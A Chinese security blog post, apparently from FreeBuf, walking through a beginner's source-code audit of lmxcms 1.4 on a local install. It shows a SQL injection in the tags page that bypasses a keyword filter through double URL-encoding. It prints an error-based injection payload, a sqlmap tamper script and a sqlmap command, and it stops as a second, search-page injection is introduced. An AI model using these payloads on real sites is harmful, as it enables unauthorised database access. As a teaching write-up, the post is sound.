freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

初学代码审计 | lmxcms源代码审计
2024-10-24 15:54:33
所属地 四川省

一、环境搭建

1、源码下载:http://www.lmxcms.com/down/

2、phpstorm+xdebug调试环境

3、访问 /install 目录安装

4、安装成功后访问:

1729753910_6719f336a7546db88a771.png!small?1729753912125

二、漏洞复现

1、前台TagsAction.class.php存在sql注入漏洞

class TagsAction extends HomeAction{
private $data;
private $tagsModel = null;
public function __construct() {
parent::__construct();
$data = p(2,1,1);
$name = string::delHtml($data['name']);
if(!$name) _404();
$name = urldecode($name);
if($this->tagsModel == null) $this->tagsModel = new TagsModel();
$this->data = $this->tagsModel->getNameData($name);
if(!$this->data) _404();
}

public function index(){
$temModel = new parse($this->smarty,$this->config);
echo $temModel->tags($this->data,$this->tagsModel);
}
}
?>

转到p函数的声明

function p($type=1,$pe=false,$sql=false,$mysql=false){
if($type == 1){
$data = $_POST;
}else if($type == 2){
$data = $_GET;
}else{
$data = $type;
}
if($sql) filter_sql($data);
if($mysql) mysql_retain($data);
foreach($data as $k => $v){
if(is_array($v)){
$newdata[$k] = p($v,$pe,$sql,$mysql);
}else{
if($pe){
$newdata[$k] = string::addslashes($v); // 在每个(',",\,NULL)前添加反斜杠
}else{
$newdata[$k] = trim($v);
}
}
}
return $newdata;
}

get方式,if($sql) filter_sql($data);转到filter_sql过滤函数

//过滤非法提交信息,防止sql注入
function filter_sql(array $data){
foreach($data as $v){
if(is_array($v)){
filter_sql($v);
}else{
//转换小写
$v = strtolower($v);
if(preg_match('/count|create|delete|select|update|use|drop|insert|info|from/',$v)){
rewrite::js_back('【'.$v.'】数据非法');
}
}
}
}

跟踪getNameData函数

//根据Tags名字返回id
public function getNameData($name){
$param['where'] = "name = '$name'";
return parent::oneModel($param);
}

跟踪oneModel函数

//获取一条数据
protected function oneModel($param){
return parent::oneDB($this->tab['0'],$this->field,$param);
}

跟踪oneDB函数

protected function oneDB($tab,Array $field,Array $param){
$field = implode(',',$field);
$force = '';
//强制进入某个索引
if($param['force']) $force = ' force index('.$param['force'].')';
if($param['ignore']) $force = ' ignore index('.$param['ignore'].')';
$We = $this->where($param);
$sql="SELECT ".$field." FROM ".DB_PRE."$tab$force $We limit 1";

//echo $sql;

$result=$this->query($sql);
$data = mysql_fetch_assoc($result);
return $data ? $data : array();
}

访问:http://127.0.0.1/lmxcms1.4/index.php?m=Tags&name=1,输出sql语句为:SELECT * FROM lmx_tags WHERE name = '1' limit 1

传入name参数-->url解码-->filter_sql过滤-->url二次解码

利用方式:payload url编码-->url编码

报错注入:1' and updatexml(0,concat(0x7e,user()),1)#

1729753951_6719f35f87070a41d86c5.png!small?1729753952505

url编码脚本

# sqlmap/tamper/urlencode.py

import urllib.parse
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOWEST

def dependencies():
pass

import urllib.parse  

def tamper(payload, **kwargs):  
"""  
对payload进行URL编码的tamper函数。  

:param payload: 需要编码的原始payload字符串  
:param kwargs: 额外的关键字参数(本函数不使用,但保留以兼容sqlmap的接口)  
:return: URL编码后的payload字符串  
"""  
# 使用urllib.parse.quote进行URL编码,确保参数是字符串类型  
if isinstance(payload, str):  
encoded_payload = urllib.parse.quote(payload)  
enencoded_payload = urllib.parse.quote(encoded_payload)
return enencoded_payload

使用sqlmap:python sqlmap.py -u "http://127.0.0.1/lmxcms1.4/index.php?m=Tags&name=1" -p "name" --proxy "http://127.0.0.1:8080" --tamper=urlencode.py

1729754121_6719f4098abd21ac7d3ae.png!small?1729754122877

使用xdebug+phpstorm调试

http://127.0.0.1/lmxcms1.4/index.php?m=Tags&name=%25%33%31%25%32%37%25%32%30%25%36%31%25%36%65%25%36%34%25%32%30%25%37%35%25%37%30%25%36%34%25%36%31%25%37%34%25%36%35%25%37%38%25%36%64%25%36%63%25%32%38%25%33%30%25%32%63%25%36%33%25%36%66%25%36%65%25%36%33%25%36%31%25%37%34%25%32%38%25%33%30%25%37%38%25%33%37%25%36%35%25%32%63%25%37%35%25%37%33%25%36%35%25%37%32%25%32%38%25%32%39%25%32%39%25%32%63%25%33%31%25%32%39%25%32%33?XDEBUG_SESSION_START=16408

1729754200_6719f458940c034cdc3e0.png!small?1729754201799

传入二次url编码后name=%31%27%20%61%6e%64%20%75%70%64%61%74%65%78%6d%6c%28%30%2c%63%6f%6e%63%61%74%28%30%78%37%65%2c%75%73%65%72%28%29%29%2c%31%29%23

1729754231_6719f4777593eb2e7c827.png!small?1729754232420

经过urldecode函数解码后,name=1' and updatexml(0,concat(0x7e,user()),1)#

2、前台SearchAction.class.php存在sql注入漏洞

首页有一个搜索框

1729754296_6719f4b8506cfa3c80e44.png!small?1729754298022

搜索后url:

# CMS # php代码审计 # 动态调试 # 代码审计入门
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录